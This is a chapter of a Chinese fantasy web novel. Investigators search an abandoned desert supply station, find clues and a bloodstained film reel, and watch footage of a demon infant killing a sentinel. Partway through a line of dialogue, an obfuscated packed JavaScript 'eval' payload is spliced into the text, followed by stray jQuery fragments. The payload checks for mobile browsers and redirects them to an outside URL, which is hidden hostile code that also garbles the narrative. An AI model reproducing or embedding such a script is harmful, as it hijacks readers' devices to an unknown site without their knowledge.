26. 空无一人的补给站

作品:《奥术师她为何焚神

    “能不能联系到其它补给站?”卢西卡指着长桌上的发电听筒。


    布雷兹摇头:“没有信鸽,电话不通,自从共生树生病后,通讯就成为最大难题。”


    她叉腰环顾四周,“说真的,其它补给站应该不会比这里好到哪里去。”


    “什么意思?”卢西卡不解。


    “你们来看!”二楼传来菲拉尖细的嗓音。


    二人忙不迭跑上楼去,兽人、人类和精灵正围着一架窗边的望远镜研究。


    布雷兹歪头:“你们来得晚,找东西倒是比我快。不愧是菲拉侦探。”


    “别贫了布雷,现在不是在仲黎城,我可以随便动这些东西吧?不算‘破坏公务’吧?”


    警探伸手:“请随意,侦探女士。”


    精密的黄铜望远镜镜片边缘的防撞环内也是黄沙,稍微一动就可能造成镜片报废。


    但这难不倒热爱捣鼓机械的侦探,菲拉三下五除二就拆卸掉外骨骼支架和辅助棱镜。


    接着是调焦手阀和目镜组,最后拆下里面的手动泵压氧气系统。


    菲拉倒出里头的黄沙:“挺高级的,可以在高空作业,怎么没看到配套的飞艇呢?”


    说罢又利落地把这些按步骤装回去。


    她躬身凑到镜筒前调试,半晌后只说了句“好了”,就把位置让给布雷兹。


    “哇。”卢西卡忍不住鼓掌,“菲拉女士,您太厉害了。”


    “叫我菲拉,小卢西卡。”


    玛歌玛没理会菲拉的娇傲,越过她把自己找到的线索交给布雷兹:


    “我在走廊尽头的照片墙找到的。”


    布雷兹接过仔细查看,黑白照片上是远程拍摄的沙漠景色,每一张都不一样,拍摄的景色也不同。


    但有个共同点,每片景色中间都有一座补给站。


    照片左上角写了距离与经纬度,并标明补给站的名字。


    根据这些线索,布雷兹很快通过望远镜找到相同的景色,只是照片里绚丽盛开的仙人掌花此时已经成为果实。


    而照片中在补给站露台上跳舞鼓掌的哨兵们,此时也消失得无影无踪。


    果然跟她预想的一样。


    “可能她们已经不在这里了。”布雷兹凑到窗边点燃烟斗,“我们找到需要的东西就赶紧离开吧。”


    其她三人还没懂她的意思,菲拉抢先开口:“你是说,有人比我们先来到这里?”


    布雷兹神情凝重地颔首。


    “不是,你们在说什么?”三位年轻的小姐并没有意识到问题严重性。


    “先别问了,看看有什么武器和弹药,以及没过期的罐头和药品。”


    布雷兹穿过几人中央径直走到二楼走廊:“我检查这两间房,卢西卡检查对面两间。


    菲拉负责阁楼,玛歌玛负责一楼厨房,卡玛利亚负责想办法点燃壁炉和灶台。”


    她抬手摁开怀表,“夜幕马上降临,没火我们会冻死在这儿。”


    黑暗如期笼罩这栋孤独的木屋,气温仿佛跳楼般降下来。


    还好有卡玛利亚,她用魔法提取出壁炉和灶台里的杂质,成功点燃火堆。


    她们把自带的物资分一分、热一热,也能吃上热腾腾的晚餐。


    但所有人的食欲都不算高涨,玛歌玛一勺勺舀起肉汤又倒回去,最终不舍地浪费,一口气灌进肚子。


    其她人更是食不知味——旁边一张木桌上堆满了她们找到的,能称之为“线索”的东西。


    一些自然燃烬的香烟还卡在烟灰缸的凹槽处,吸口没有咬痕;


    咖啡杯里蒸发掉的咖啡液已经变成干巴巴的硬块,说明主人还没来得及喝;


    画板上已经用铅笔描绘出大致的景色轮廓,同样没来得及上色,旁边散落调好的颜料硬块。


    诸如此类的怪异细节数不胜数。


    更别说还有那块红色印花地毯上的婴儿脚印,她们都不想往那方面怀疑,可脑中不断闪回仲黎城发生的种种。


    “说不定是哨兵们不想干了,去了别的城邦,例如雅典……之类的。”


    卢西卡越说越心虚,干脆闭了嘴。


    她们都清楚这不可能,哨兵们都在怀疑厄洛斯还在仲黎城内,可那个婴儿或许早已把城外的人类据点洗劫一空。


    包括……一周前派出的哨兵。


    展柜里有很多照片,哨兵们举着大拇指对摄像头灿烂微笑的样子就像还活着。


    金色和棕色的相框上干干净净,能看出她们都很珍惜这些无聊日子里的定帧画面。


    每张合照后都会写上她们的名字,勃朗特、克拉拉、维多利亚、吉尼弗……


    但如今她们都消失了,无影无踪。


    来晚一步的人怎么能对着显而易见的结果吃下东西呢?


    最终还是布雷兹起身,从那些找到的线索中拿起一卷胶片,是菲拉在阁楼找到的。


    “既然不想吃就不用勉强自己,我们去阁楼看看胶片里是什么。”


    她们在低矮的阁楼里点燃蜡烛,根据菲拉的指示找到隐藏在一堆绳子中央木箱。


    下层抽屉打开,里面有一个小巧的放映机,白色成像屏落满了灰,菲拉细心将其擦干净。


    木箱盖里镶嵌了齿轮和发电摇柄,箱体上层空间则是放置那盘胶片的地方。


    “上面……有血迹。”卢西卡一眼就看见滴落在齿轮之间的暗黑色。


    “是的,所以这里应该有线索。”菲拉拍拍箱子,“但没有电。”


    这里所有的电源都被切断,不,比切断电源严重得多。


    她们检查过,这里甚至没有一根电线,发电机该在的地方只剩下一个浅坑。


    “有人期望后面来这儿的人永远无法看到这里的秘密。”布雷兹蹙眉。


    卢西卡单膝跪地研究很久,抬头问:“不是可以手摇发电吗?”


    菲拉岔开腿叉腰道:“上面的发电设备需要十字钥匙,我找过,到处都没……”


    她的眼睛随玛歌玛身影移动,到嘴边的话硬生生吞了回去。


    小个子兽人不知何时离开阁楼,也不知何时再回到这里,


    总之她的手上,举着一把黄铜的十字钥匙,下方吊着一条长长的金链,看起来像项链。


    “是这个吗?”


    卢西卡眼睛亮了:“玛歌玛,你好厉害,在哪


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15643647|171377||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    里找到的?”


    兽人无谓耸肩:“先试试。”


    布雷兹的眼睛在这几人身上来回移动,与身边的卡玛利亚耳语:“我怎么好像闻到了火药味和醋味?”


    卡玛利亚一如往常沉默不语。


    另一边卢西卡与菲拉玛歌玛三人凑到放映机旁捣鼓许久,终于把卷带盘和胶片安了进去。


    再将十字钥匙捅进箱侧的锁孔,卢西卡开始快速摇动手柄。


    没多时箱子就发出窸窸窣窣的齿轮转动声,那方白色成像屏闪烁两下,一束白光打在对面的木墙上。


    鉴于技术限制画面不算清晰,但上面的人物仍旧能够动起来,就像活着时一样。


    画面一阵晃动后从不远处的沙丘定格在院子的木桌上,哨兵们三三两两坐在一起,


    聊天、唱歌、喝酒,相互搭肩轻摇身体,看节奏应该有背景音乐。


    很快画面转到屋内,落到吧台后方的照片展示柜,紧接着画面拉远,灯光明亮的补给站一楼出现在她们眼前。


    照片上叫吉尼佛的哨兵正坐在机械琴前,双手轻柔地落在琴键上。


    旁边有人走过来拍了拍吉尼佛的肩,画面上移落到那人脸上,是勃朗特。


    勃朗特哨兵端着肉酱面和炸肉穿梭在小小的补给站,给同伴送去食物。


    正当气氛欢快时,画面抖三抖,穿过木门来到院子中央。


    门口站着另一个哨兵,怀中抱着一个不足月的婴孩。


    观看影片的人同时站起身,每个人脸上都挂着震惊的表情。


    “厄洛斯,果然是祂!”


    此时画面中的婴儿正在酣睡,其她人围拢上去似乎在讨论孩子怎么来的。


    讨论只维持了几分钟,秉承哨兵的责任,她们把孩子带进屋内。


    院中木桌上的食物就那样放置着,无人再管。


    画面紧紧跟随厄洛斯的身影直到二楼其中一间卧室,她们把祂小心放置在柔软的床垫上。


    其她人散开,忙着去拿牛奶或是旧毯子,唯有拍摄者一直坐在床边,把画面对准那个“天真的孩子”。


    镜头时不时晃动,看得出来摄影师正在逗弄醒来的厄洛斯。


    她并不知道面前的孩子是谁,更不知道她是从仲黎城逃出来的恶魔。


    厄洛斯睁开懵懂无知的双眼,这是众人第一次如此清晰看到祂的长相。


    祂看到面前的哨兵,像个真正的孩子般伸出肉乎乎的双手,粉嫩的嘴唇裂开,露出光秃秃的牙龈。


    这时候摄影机忽然被放到床上,哨兵俯下身子为厄洛斯拍掉手臂上的细沙,并亲热地将祂抱起来。


    下一秒,哨兵直挺挺栽倒床上,脖子扭到一边,脸对准摄像机,额头上有一个黑色的洞,血正汩汩往外淌。


    突如其来的变故吓了屏幕外的她们一跳,接着摄影机被扛起来,只是视角变得低矮。


    画面穿过房间走出房门,面前出现了一双穿军靴的脚。


    脚的主人蹲下身,拉起厄洛斯的手,似乎在好奇为什么祂的手上有血,并试图拿开祂肩上的摄影机。


    很快这位哨兵扭过头,看到扑倒在床上的那位哨兵。